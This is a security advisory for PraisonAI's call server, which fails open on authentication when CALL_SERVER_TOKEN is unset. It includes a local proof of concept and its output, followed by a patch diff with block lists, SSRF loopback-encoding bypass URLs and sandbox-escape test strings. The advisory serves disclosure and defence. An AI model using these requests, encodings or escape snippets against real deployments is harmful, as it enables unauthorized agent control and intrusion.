PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset
Description
Summary
PraisonAI's call server exposes a network-facing agent control API without authentication when CALL_SERVER_TOKEN is not configured.
The affected component is the praisonai.api.agent_invoke router as mounted by praisonai.api.call. The authentication helper verify_token() fails open when CALL_SERVER_TOKEN is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents.
This is security-relevant because the bundled call server includes the vulnerable router and binds to 0.0.0.0. As a result, operators who launch the call server without explicitly setting CALL_SERVER_TOKEN may unintentionally expose an unauthenticated remote agent control plane.
Details
The vulnerable behavior is caused by a fail-open authentication default.
In praisonai/api/agent_invoke.py, CALL_SERVER_TOKEN is read from the environment:
CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')
The authentication dependency then returns successfully when the token is not configured:
async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:
return # No authentication if FastAPI unavailable or no token set
This means that the absence of CALL_SERVER_TOKEN disables authentication entirely.
The same helper is used by sensitive agent-control routes, including:
@router.post("/agents/{agent_id}/invoke")
async def invoke_agent(..., _: None = Depends(verify_token))
@router.get("/agents")
async def list_agents(_: None = Depends(verify_token))
@router.delete("/agents/{agent_id}")
async def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token))
@router.get("/agents/{agent_id}")
async def get_agent_info(agent_id: str, _: None = Depends(verify_token))
These endpoints allow a caller to:
- list registered agents;
- retrieve agent metadata;
- retrieve agent instruction text;
- invoke agents;
- unregister agents.
The vulnerable router is mounted by the call server:
from .agent_invoke import router as agent_invoke_router
app.include_router(agent_invoke_router)
The call server then listens on all interfaces:
uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")
Therefore, when praisonai-call is started without CALL_SERVER_TOKEN, the agent-control API becomes reachable without authentication from any client that can access the server.
PoC
The following local PoC imports the real praisonai.api.agent_invoke router from source, ensures CALL_SERVER_TOKEN is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.
The PoC proves that, without sending any authentication material:
GET /api/v1/agentsreturns the list of registered agents.GET /api/v1/agents/{agent_id}exposes agent metadata and instructions.POST /api/v1/agents/{agent_id}/invokeexecutes the registered agent.DELETE /api/v1/agents/{agent_id}unregisters the agent.
Run with:
PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py
Full PoC:
#!/usr/bin/env python3
from __future__ import annotations
import os
import sys
from pathlib import Path
from types import SimpleNamespace
REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PRAISON_ROOT = REPO_ROOT / "src" / "praisonai"
def verify_source() -> None:
expected = {
PRAISON_ROOT / "praisonai/api/agent_invoke.py": [
"CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')",
"if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:",
'@router.post("/agents/{agent_id}/invoke")',
'@router.get("/agents")',
'@router.delete("/agents/{agent_id}")',
'@router.get("/agents/{agent_id}")',
],
PRAISON_ROOT / "praisonai/api/call.py": [
"app.include_router(agent_invoke_router)",
'uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")',
],
}
for path, needles in expected.items():
if not path.exists():
raise RuntimeError(f"source verification failed: file not found: {path}")
text = path.read_text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
class DemoAgent:
name = "demo-agent"
instructions = "super-secret instructions"
tools = [SimpleNamespace(name="danger-tool")]
def start(self, message: str) -> str:
return f"echo:{message}"
def main() -> int:
verify_source()
os.environ.pop("CALL_SERVER_TOKEN", None)
sys.path.insert(0, str(PRAISON_ROOT))
from fastapi import FastAPI
from fastapi.testclient import TestClient
from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router
app = FastAPI()
app.include_router(router)
register_agent("demo", DemoAgent())
client = TestClient(app)
list_resp = client.get("/api/v1/agents")
info_resp = client.get("/api/v1/agents/demo")
invoke_resp = client.post("/api/v1/agents/demo/invoke", json={"message": "hello"})
delete_resp = client.delete("/api/v1/agents/demo")
print(f"[poc] token_configured={bool(CALL_SERVER_TOKEN)}")
print(f"[poc] list_status={list_resp.status_code} body={list_resp.json()}")
print(f"[poc] info_status={info_resp.status_code} body={info_resp.json()}")
print(f"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}")
print(f"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}")
if CALL_SERVER_TOKEN:
raise SystemExit("[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process")
if list_resp.status_code != 200 or "demo" not in list_resp.json().get("agents", []):
raise SystemExit("[poc] MISS: unauthenticated agent listing failed")
if info_resp.status_code != 200 or info_resp.json().get("instructions") != "super-secret instructions":
raise SystemExit("[poc] MISS: unauthenticated agent info leak failed")
if invoke_resp.status_code != 200 or invoke_resp.json().get("result") != "echo:hello":
raise SystemExit("[poc] MISS: unauthenticated agent invocation failed")
if delete_resp.status_code != 200:
raise SystemExit("[poc] MISS: unauthenticated agent unregister failed")
print("[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Observed result:
[poc] token_configured=False
[poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'}
[poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']}
[poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}}
[poc] delete_status=200 body={'message': "Agent 'demo' unregistered successfully", 'status': 'success'}
[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent
This confirms that the agent-control endpoints are accessible without authentication when CALL_SERVER_TOKEN is unset.
Impact
If an operator runs the PraisonAI call server without explicitly setting CALL_SERVER_TOKEN, any reachable client may be able to:
- enumerate registered agents;
- read agent metadata;
- read agent instruction text;
- invoke agents;
- trigger downstream tools or external integrations connected to agents;
- consume model or API budget through repeated invocation;
- unregister agents and disrupt availability.
The impact depends on the deployed agents and their connected tools. For agents wired to external APIs, internal systems, local tools, or privileged actions, this creates a remote unauthenticated control surface.
The issue is not limited to information disclosure. The unauthenticated invoke endpoint can trigger agent execution, and the unauthenticated delete endpoint can remove registered agents.
Suggested remediation
Recommended fixes:
- Fail closed when
CALL_SERVER_TOKENis unset.
The authentication dependency should reject requests unless authentication is explicitly configured and a valid token is supplied.
- Refuse to mount the agent invocation router unless authentication is configured.
- If unauthenticated mode is intended for local development, bind to
127.0.0.1by default whenCALL_SERVER_TOKENis absent.
- Add a startup error or highly visible warning when the call server is started without authentication.
- Add regression tests that assert
401 Unauthorizedfor all sensitive agent routes when no valid token is supplied.
- Consider requiring an explicit unsafe flag, such as
--allow-unauthenticated-call-server, before allowing the server to start without authentication.
Security boundary
This report concerns the default authentication behavior of a network-facing server component. The issue is not that users can intentionally disable authentication for trusted local development. The issue is that the server fails open when CALL_SERVER_TOKEN is missing while the bundled server binds to 0.0.0.0, which can expose the agent-control API remotely.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
PraisonAI call server fails open when CALL_SERVER_TOKEN is unset, allowing unauthenticated remote agent control via the agent_invoke API.
Vulnerability
The vulnerability resides in praisonai/api/agent_invoke.py where the verify_token() authentication helper returns immediately without checking credentials when the CALL_SERVER_TOKEN environment variable is not set [1][2]. Every agent-control endpoint — including POST /agents/{agent_id}/invoke, GET /agents, DELETE /agents/{agent_id}, and GET /agents/{agent_id} — relies on this helper. Because the call server binds to 0.0.0.0 by default, any network‑reachable client can access the API without authentication if the token is unconfigured. All versions of PraisonAI that include the vulnerable praisonai.api.agent_invoke router are affected until a fix is applied.
Exploitation
An attacker with network connectivity to the call server’s port can send arbitrary HTTP requests to any of the unprotected endpoints. No prior authentication, user interaction, or special privileges are required. For example, issuing a GET /agents request returns the list of registered agents; a POST /agents/{agent_id}/invoke request causes the agent to execute its instructions. The attack can be performed by any client that can reach the server.
Impact
Successful exploitation grants an unauthenticated remote attacker full control over the agent management plane. The attacker can list all registered agents, retrieve their metadata and instruction text, invoke agents (triggering their programmed actions), and unregister agents entirely. This can lead to unauthorized data disclosure, manipulation of agent behavior, and disruption of agent services — effectively compromising the confidentiality, integrity, and availability of the agent system.
Mitigation
As of the advisory publication date (2026-05-29), the primary mitigation is to set the CALL_SERVER_TOKEN environment variable to a strong secret before starting the call server. This forces the verify_token() helper to require a valid token header on all requests. The official advisory does not specify a patched release; operators should monitor the PraisonAI repository for a future fix and apply it immediately upon release. Additionally, the call server should not be exposed to untrusted networks without proper authentication in place.
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
PraisonAIPyPI | < 4.6.40 | 4.6.40 |
Affected products
2Patches
2179cab02dbecrefactor: harden input validation and access controls
19 files changed · +425 −100
.github/workflows/claude.yml+5 −2 modified@@ -181,12 +181,15 @@ jobs: - name: Fetch PR branch and Setup Remote if: github.event.issue.pull_request + env: + PR_BRANCH: ${{ steps.check_fork.outputs.pr_branch }} + IS_FORK: ${{ steps.check_fork.outputs.is_fork }} run: | # Fetch PR head from base repo and put it into local branch - git fetch origin pull/${{ github.event.issue.number }}/head:${{ steps.check_fork.outputs.pr_branch }} + git fetch origin pull/${{ github.event.issue.number }}/head:"${PR_BRANCH}" # If it's a fork, make origin point to local to trick claude-code-action's `git fetch origin <branch>` - if [ "${{ steps.check_fork.outputs.is_fork }}" == "true" ]; then + if [ "${IS_FORK}" = "true" ]; then git remote set-url origin file://$(pwd) fi
src/praisonai-agents/praisonaiagents/tools/mentions.py+5 −0 modified@@ -268,6 +268,11 @@ def _process_rule_mention(self, rule_name: str) -> Optional[str]: def _process_url_mention(self, url: str) -> Optional[str]: """Process @url:https://... mention.""" try: + from praisonaiagents.tools.spider_tools import SpiderTools + + if not SpiderTools()._validate_url(url): + return f"# URL: {url}\n[Blocked: URL is not allowed]" + import urllib.request req = urllib.request.Request(
src/praisonai-agents/praisonaiagents/tools/python_tools.py+55 −48 modified@@ -36,6 +36,30 @@ def _safe_getattr(obj, name, *default): return getattr(obj, name, *default) if default else getattr(obj, name) +_SANDBOX_BLOCKED_ATTRS = frozenset({ + '__subclasses__', '__bases__', '__mro__', '__globals__', + '__code__', '__class__', '__dict__', '__builtins__', + '__import__', '__loader__', '__spec__', '__init_subclass__', + '__set_name__', '__reduce__', '__reduce_ex__', + '__traceback__', '__qualname__', '__module__', + '__wrapped__', '__closure__', '__annotations__', + '__self__', # C builtins leak real builtins module (GHSA-4mr5-g6f9-cfrh) + # Frame/code object introspection + 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', + 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', + 'f_globals', 'f_locals', 'f_builtins', 'f_code', + 'co_consts', 'co_names', + '__getattribute__', '__getattr__', '__setattr__', '__delattr__', + '__dir__', '__get__', '__set__', '__delete__', +}) + +_SANDBOX_BLOCKED_CALLS = frozenset({ + 'exec', 'eval', 'compile', '__import__', + 'open', 'input', 'breakpoint', + 'setattr', 'delattr', 'dir', 'vars', +}) + + def _validate_code_ast(code: str): """Validate code using AST — catches attacks that bypass text checks. @@ -48,52 +72,33 @@ def _validate_code_ast(code: str): except SyntaxError: return None # let compile() handle syntax errors later - # Dangerous dunder attributes attackers use for sandbox escape - _blocked_attrs = frozenset({ - '__subclasses__', '__bases__', '__mro__', '__globals__', - '__code__', '__class__', '__dict__', '__builtins__', - '__import__', '__loader__', '__spec__', '__init_subclass__', - '__set_name__', '__reduce__', '__reduce_ex__', - '__traceback__', '__qualname__', '__module__', - '__wrapped__', '__closure__', '__annotations__', - # Frame/code object introspection - 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', - 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', - 'f_globals', 'f_locals', 'f_builtins', 'f_code', - 'co_consts', 'co_names', - '__getattribute__', '__getattr__', '__setattr__', '__delattr__', - '__dir__', '__get__', '__set__', '__delete__', - }) - for node in ast.walk(tree): # Block import statements if isinstance(node, (ast.Import, ast.ImportFrom)): return f"Import statements are not allowed" # Block attribute access to dangerous dunders if isinstance(node, ast.Attribute): - if node.attr in _blocked_attrs: + if node.attr in _SANDBOX_BLOCKED_ATTRS: return ( f"Access to attribute '{node.attr}' is restricted" ) - # Block calls to dangerous builtins by name + # Block calls to dangerous builtins (bare name or attribute access) if isinstance(node, ast.Call): func = node.func - if isinstance(func, ast.Name) and func.id in ( - 'exec', 'eval', 'compile', '__import__', - 'open', 'input', 'breakpoint', - 'setattr', 'delattr', 'dir', - ): + if isinstance(func, ast.Name) and func.id in _SANDBOX_BLOCKED_CALLS: return f"Call to '{func.id}' is not allowed" + if isinstance(func, ast.Attribute) and func.attr in _SANDBOX_BLOCKED_CALLS: + return f"Call to '{func.attr}' is not allowed" # Block dangerous constants (strings containing dunders) # Fallback for Python 3.7 ast.Str if isinstance(node, ast.Constant) and isinstance(node.value, str): - if any(attr in node.value for attr in _blocked_attrs): + if any(attr in node.value for attr in _SANDBOX_BLOCKED_ATTRS): return f"String constant contains restricted attribute name" elif type(node).__name__ == 'Str': - if any(attr in getattr(node, 's', '') for attr in _blocked_attrs): + if any(attr in getattr(node, 's', '') for attr in _SANDBOX_BLOCKED_ATTRS): return f"String constant contains restricted attribute name" return None @@ -112,7 +117,16 @@ def _execute_code_sandboxed( """ if limits is None: limits = ResourceLimits.minimal() - + + ast_error = _validate_code_ast(code) + if ast_error: + return { + 'result': None, + 'stdout': '', + 'stderr': f'Security Error: {ast_error}', + 'success': False, + } + try: # Create temporary file for the code with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f: @@ -151,21 +165,8 @@ def safe_execute(): }} # Block dangerous patterns - blocked_attrs = {{ - '__subclasses__', '__bases__', '__mro__', '__globals__', - '__code__', '__class__', '__dict__', '__builtins__', - '__import__', '__loader__', '__spec__', '__init_subclass__', - '__set_name__', '__reduce__', '__reduce_ex__', - '__traceback__', '__qualname__', '__module__', - '__wrapped__', '__closure__', '__annotations__', - # Frame/code object introspection - 'gi_frame', 'gi_code', 'cr_frame', 'cr_code', - 'ag_frame', 'ag_code', 'tb_frame', 'tb_next', - 'f_globals', 'f_locals', 'f_builtins', 'f_code', - 'co_consts', 'co_names', - '__getattribute__', '__getattr__', '__setattr__', '__delattr__', - '__dir__', '__get__', '__set__', '__delete__', - }} + blocked_attrs = {set(_SANDBOX_BLOCKED_ATTRS)!r} + blocked_calls = {set(_SANDBOX_BLOCKED_CALLS)!r} for node in ast.walk(tree): if isinstance(node, (ast.Import, ast.ImportFrom)): @@ -182,14 +183,20 @@ def safe_execute(): "stderr": f"Access to attribute '{{node.attr}}' is restricted", "success": False }} - if isinstance(node, ast.Call) and isinstance(node.func, ast.Name): - if node.func.id in ('exec', 'eval', 'compile', '__import__', - 'open', 'input', 'breakpoint', - 'setattr', 'delattr', 'dir'): + if isinstance(node, ast.Call): + func = node.func + if isinstance(func, ast.Name) and func.id in blocked_calls: + return {{ + "result": None, + "stdout": "", + "stderr": f"Call to '{{func.id}}' is not allowed", + "success": False + }} + if isinstance(func, ast.Attribute) and func.attr in blocked_calls: return {{ "result": None, "stdout": "", - "stderr": f"Call to '{{node.func.id}}' is not allowed", + "stderr": f"Call to '{{func.attr}}' is not allowed", "success": False }} if isinstance(node, ast.Constant) and isinstance(node.value, str): @@ -481,7 +488,7 @@ def _execute_code_direct( '__import__', 'import ', 'from ', 'exec', 'eval', 'compile', 'open(', 'file(', 'input(', 'raw_input', '__subclasses__', '__bases__', '__globals__', '__code__', - '__class__', 'globals(', 'locals(', 'vars(' + '__class__', '__self__', 'globals(', 'locals(', 'vars(' ] code_lower = code.lower()
src/praisonai-agents/praisonaiagents/tools/spider_tools.py+46 −24 modified@@ -11,6 +11,8 @@ """ import logging +import ipaddress +import socket from typing import List, Dict, Union, Optional, Any from importlib import util import json @@ -20,6 +22,48 @@ import hashlib import time + +def _host_is_blocked(hostname: str) -> bool: + """Return True when hostname resolves to loopback/private/internal targets.""" + if not hostname: + return True + host = hostname.lower().rstrip(".") + if host in ("localhost", "0.0.0.0", "::1") or host.endswith(".localhost"): + return True + if host in ("169.254.169.254", "metadata.google.internal"): + return True + if any(host.endswith(suffix) for suffix in (".local", ".internal", ".localdomain")): + return True + + def _ip_blocked(ip: ipaddress._BaseAddress) -> bool: + return bool( + ip.is_private or ip.is_loopback or ip.is_reserved or ip.is_link_local + ) + + if host.isdigit(): + try: + return _ip_blocked(ipaddress.ip_address(int(host))) + except (ValueError, OverflowError): + return True + + if host.startswith("0x"): + try: + return _ip_blocked(ipaddress.ip_address(int(host, 16))) + except (ValueError, OverflowError): + return True + + try: + return _ip_blocked(ipaddress.ip_address(host)) + except ValueError: + pass + + try: + return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host))) + except OSError: + pass + + return False + class SpiderTools: """Tools for web scraping and crawling.""" @@ -59,31 +103,9 @@ def _validate_url(self, url: str) -> bool: if not parsed.hostname: return False - # Reject local/internal addresses - hostname = parsed.hostname.lower() - - # Block localhost and loopback - if hostname in ['localhost', '127.0.0.1', '0.0.0.0', '::1']: - return False - - # Block private IP ranges - import ipaddress - try: - ip = ipaddress.ip_address(hostname) - if ip.is_private or ip.is_reserved or ip.is_loopback or ip.is_link_local: - return False - except ValueError: - # Not an IP address, continue with domain validation - pass - - # Block common internal domains - if any(hostname.endswith(domain) for domain in ['.local', '.internal', '.localdomain']): - return False - - # Block metadata service endpoints - if hostname in ['169.254.169.254', 'metadata.google.internal']: + if _host_is_blocked(parsed.hostname): return False - + return True except Exception:
src/praisonai-agents/tests/unit/tools/test_mentions_url_ssrf.py+10 −0 added@@ -0,0 +1,10 @@ +"""@url mentions must not fetch loopback targets.""" + +from praisonaiagents.tools.mentions import MentionsParser + + +def test_url_mention_blocks_loopback(): + parser = MentionsParser() + result = parser._process_url_mention("http://127.0.0.1:8765/") + assert result is not None + assert "Blocked" in result
src/praisonai-agents/tests/unit/tools/test_python_tools_sandbox.py+16 −0 modified@@ -112,6 +112,22 @@ def test_dunder_import_blocked(self, sandbox): result = sandbox.run("__import__('os')") assert result["success"] is False + def test_print_self_blocked(self, sandbox): + """print.__self__ leaks real builtins module (GHSA-4mr5-g6f9-cfrh).""" + result = sandbox.run("b = print.__self__") + assert result["success"] is False + assert "restricted" in result["stderr"].lower() + + def test_vars_call_blocked(self, sandbox): + """vars() can expose builtins.__dict__ after __self__ leak.""" + result = sandbox.run("vars({})") + assert result["success"] is False + + def test_attribute_dunder_call_blocked(self, sandbox): + """Attribute calls bypass bare-name Call checks.""" + result = sandbox.run("(1).__class__.__mro__") + assert result["success"] is False + # ── Legitimate Code (all must PASS) ─────────────────────────────────────────
src/praisonai-agents/tests/unit/tools/test_spider_url_validation.py+10 −0 modified@@ -38,6 +38,16 @@ def test_still_blocks_loopback(): assert spider._validate_url("http://localhost/") is False +def test_blocks_alternate_loopback_encodings(): + """GHSA-5c6w-wwfq-7qqm: non-canonical loopback host forms.""" + spider = SpiderTools() + assert spider._validate_url("http://localhost.:8765/") is False + assert spider._validate_url("http://127.1:8765/") is False + assert spider._validate_url("http://0177.0.0.1:8765/") is False + assert spider._validate_url("http://0x7f000001:8765/") is False + assert spider._validate_url("http://2130706433:8765/") is False + + def test_rejects_non_string_input(): spider = SpiderTools() assert spider._validate_url(None) is False # type: ignore[arg-type]
src/praisonai-platform/praisonai_platform/api/deps.py+36 −0 modified@@ -71,3 +71,39 @@ async def require_workspace_member( ) user.workspace_id = workspace_id return user + + +async def require_workspace_admin( + workspace_id: str, + user: AuthIdentity = Depends(get_current_user), + session: AsyncSession = Depends(get_db), +) -> AuthIdentity: + """Require admin or owner role in the workspace.""" + return await require_workspace_member( + workspace_id, user, session, min_role="admin" + ) + + +async def require_workspace_owner( + workspace_id: str, + user: AuthIdentity = Depends(get_current_user), + session: AsyncSession = Depends(get_db), +) -> AuthIdentity: + """Require owner role in the workspace.""" + return await require_workspace_member( + workspace_id, user, session, min_role="owner" + ) + + +def ensure_resource_in_workspace( + resource_workspace_id: str | None, + workspace_id: str, + *, + label: str = "Resource", +) -> None: + """Reject cross-workspace access (IDOR) with a generic 404.""" + if resource_workspace_id != workspace_id: + raise HTTPException( + status_code=status.HTTP_404_NOT_FOUND, + detail=f"{label} not found", + )
src/praisonai-platform/praisonai_platform/api/routes/agents.py+7 −1 modified@@ -9,7 +9,7 @@ from praisonaiagents.auth import AuthIdentity -from ..deps import get_db, require_workspace_member +from ..deps import ensure_resource_in_workspace, get_db, require_workspace_member from ..schemas import AgentCreate, AgentResponse, AgentUpdate from ...services.agent_service import AgentService @@ -61,6 +61,7 @@ async def get_agent( agent = await svc.get(agent_id) if agent is None: raise HTTPException(status_code=404, detail="Agent not found") + ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent") return AgentResponse.model_validate(agent) @@ -84,6 +85,7 @@ async def update_agent( ) if agent is None: raise HTTPException(status_code=404, detail="Agent not found") + ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent") return AgentResponse.model_validate(agent) @@ -95,6 +97,10 @@ async def delete_agent( session: AsyncSession = Depends(get_db), ): svc = AgentService(session) + agent = await svc.get(agent_id) + if agent is None: + raise HTTPException(status_code=404, detail="Agent not found") + ensure_resource_in_workspace(agent.workspace_id, workspace_id, label="Agent") deleted = await svc.delete(agent_id) if not deleted: raise HTTPException(status_code=404, detail="Agent not found")
src/praisonai-platform/praisonai_platform/api/routes/issues.py+17 −1 modified@@ -9,7 +9,7 @@ from praisonaiagents.auth import AuthIdentity -from ..deps import get_db, require_workspace_member +from ..deps import ensure_resource_in_workspace, get_db, require_workspace_member from ..schemas import ( CommentCreate, CommentResponse, @@ -90,6 +90,7 @@ async def get_issue( issue = await svc.get(issue_id) if issue is None: raise HTTPException(status_code=404, detail="Issue not found") + ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") return IssueResponse.model_validate(issue) @@ -114,6 +115,7 @@ async def update_issue( ) if issue is None: raise HTTPException(status_code=404, detail="Issue not found") + ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") act_svc = ActivityService(session) await act_svc.log( workspace_id, "issue.updated", "issue", issue.id, @@ -132,6 +134,10 @@ async def delete_issue( session: AsyncSession = Depends(get_db), ): svc = IssueService(session) + issue = await svc.get(issue_id) + if issue is None: + raise HTTPException(status_code=404, detail="Issue not found") + ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") deleted = await svc.delete(issue_id) if not deleted: raise HTTPException(status_code=404, detail="Issue not found") @@ -148,6 +154,11 @@ async def add_comment( user: AuthIdentity = Depends(require_workspace_member), session: AsyncSession = Depends(get_db), ): + issue_svc = IssueService(session) + issue = await issue_svc.get(issue_id) + if issue is None: + raise HTTPException(status_code=404, detail="Issue not found") + ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") svc = CommentService(session) comment = await svc.create( issue_id=issue_id, @@ -166,6 +177,11 @@ async def list_comments( user: AuthIdentity = Depends(require_workspace_member), session: AsyncSession = Depends(get_db), ): + issue_svc = IssueService(session) + issue = await issue_svc.get(issue_id) + if issue is None: + raise HTTPException(status_code=404, detail="Issue not found") + ensure_resource_in_workspace(issue.workspace_id, workspace_id, label="Issue") svc = CommentService(session) comments = await svc.list_for_issue(issue_id) return [CommentResponse.model_validate(c) for c in comments]
src/praisonai-platform/praisonai_platform/api/routes/workspaces.py+55 −6 modified@@ -9,7 +9,13 @@ from praisonaiagents.auth import AuthIdentity -from ..deps import get_current_user, get_db, require_workspace_member +from ..deps import ( + get_current_user, + get_db, + require_workspace_admin, + require_workspace_member, + require_workspace_owner, +) from ..schemas import ( MemberAdd, MemberResponse, @@ -64,7 +70,7 @@ async def get_workspace( async def update_workspace( workspace_id: str, body: WorkspaceUpdate, - user: AuthIdentity = Depends(require_workspace_member), + user: AuthIdentity = Depends(require_workspace_admin), session: AsyncSession = Depends(get_db), ): ws_svc = WorkspaceService(session) @@ -77,7 +83,7 @@ async def update_workspace( @router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT) async def delete_workspace( workspace_id: str, - user: AuthIdentity = Depends(require_workspace_member), + user: AuthIdentity = Depends(require_workspace_owner), session: AsyncSession = Depends(get_db), ): ws_svc = WorkspaceService(session) @@ -93,10 +99,16 @@ async def delete_workspace( async def add_member( workspace_id: str, body: MemberAdd, - user: AuthIdentity = Depends(require_workspace_member), + user: AuthIdentity = Depends(require_workspace_admin), session: AsyncSession = Depends(get_db), ): member_svc = MemberService(session) + if body.role == "owner": + if not await member_svc.has_role(workspace_id, user.id, "owner"): + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Only owners can add another owner", + ) member = await member_svc.add(workspace_id, body.user_id, body.role) return MemberResponse.model_validate(member) @@ -117,10 +129,32 @@ async def update_member_role( workspace_id: str, user_id: str, body: MemberUpdate, - user: AuthIdentity = Depends(require_workspace_member), + user: AuthIdentity = Depends(require_workspace_admin), session: AsyncSession = Depends(get_db), ): member_svc = MemberService(session) + target = await member_svc.get(workspace_id, user_id) + if target is None: + raise HTTPException(status_code=404, detail="Member not found") + if user_id == user.id and body.role != target.role: + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Cannot change your own role", + ) + if body.role == "owner" and not await member_svc.has_role( + workspace_id, user.id, "owner" + ): + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Only owners can assign the owner role", + ) + if target.role == "owner" and not await member_svc.has_role( + workspace_id, user.id, "owner" + ): + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Only owners can change an owner's role", + ) member = await member_svc.update_role(workspace_id, user_id, body.role) if member is None: raise HTTPException(status_code=404, detail="Member not found") @@ -131,10 +165,25 @@ async def update_member_role( async def remove_member( workspace_id: str, user_id: str, - user: AuthIdentity = Depends(require_workspace_member), + user: AuthIdentity = Depends(require_workspace_admin), session: AsyncSession = Depends(get_db), ): member_svc = MemberService(session) + if user_id == user.id: + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Cannot remove yourself from the workspace", + ) + target = await member_svc.get(workspace_id, user_id) + if target is None: + raise HTTPException(status_code=404, detail="Member not found") + if target.role == "owner" and not await member_svc.has_role( + workspace_id, user.id, "owner" + ): + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Only owners can remove an owner", + ) removed = await member_svc.remove(workspace_id, user_id) if not removed: raise HTTPException(status_code=404, detail="Member not found")
src/praisonai-platform/praisonai_platform/services/auth_service.py+4 −0 modified@@ -113,6 +113,10 @@ async def login(self, email: str, password: str) -> Optional[tuple[User, str]]: def _issue_token(self, user: User) -> str: """Issue a JWT for a user.""" + if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": + raise RuntimeError( + "Refusing to issue JWT with default PLATFORM_JWT_SECRET outside dev" + ) now = datetime.now(timezone.utc) payload = { "sub": user.id,
src/praisonai-platform/tests/test_workspace_rbac.py+18 −0 added@@ -0,0 +1,18 @@ +"""Workspace member RBAC and cross-workspace IDOR guards.""" + +from __future__ import annotations + +import pytest +from fastapi import HTTPException + +from praisonai_platform.api.deps import ensure_resource_in_workspace + + +def test_ensure_resource_in_workspace_rejects_mismatch(): + with pytest.raises(HTTPException) as exc: + ensure_resource_in_workspace("ws-a", "ws-b", label="Issue") + assert exc.value.status_code == 404 + + +def test_ensure_resource_in_workspace_allows_match(): + ensure_resource_in_workspace("ws-a", "ws-a", label="Issue")
src/praisonai/praisonai/api/agent_invoke.py+14 −2 modified@@ -29,14 +29,26 @@ # Authentication import os CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN') +_CALL_AUTH_DISABLED = os.getenv('PRAISONAI_CALL_AUTH', '').lower() == 'disabled' + async def verify_token( request: Request, authorization: Optional[str] = Header(None) ) -> None: """Verify API token for authentication.""" - if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN: - return # No authentication if FastAPI unavailable or no token set + if not FASTAPI_AVAILABLE: + return + if _CALL_AUTH_DISABLED: + return + if not CALL_SERVER_TOKEN: + raise HTTPException( + status_code=503, + detail=( + "CALL_SERVER_TOKEN is not configured. Set CALL_SERVER_TOKEN or " + "PRAISONAI_CALL_AUTH=disabled to run without authentication." + ), + ) token = None
src/praisonai/praisonai/code/tools/write_file.py+10 −11 modified@@ -58,9 +58,10 @@ def write_file( >>> if result['success']: ... print(f"Wrote to {result['path']}") """ - # Resolve path - if workspace and not os.path.isabs(path): - abs_path = os.path.abspath(os.path.join(workspace, path)) + # Resolve path — default workspace is cwd so relative paths cannot escape + effective_workspace = workspace or os.getcwd() + if not os.path.isabs(path): + abs_path = os.path.abspath(os.path.join(effective_workspace, path)) else: abs_path = os.path.abspath(path) @@ -73,14 +74,12 @@ def write_file( 'path': path, } - # Security check - ensure path is within workspace if specified - if workspace: - if not is_path_within_directory(abs_path, workspace): - return { - 'success': False, - 'error': f"Path '{path}' is outside the workspace", - 'path': path, - } + if not is_path_within_directory(abs_path, effective_workspace): + return { + 'success': False, + 'error': f"Path '{path}' is outside the workspace", + 'path': path, + } # Process content processed_content = content
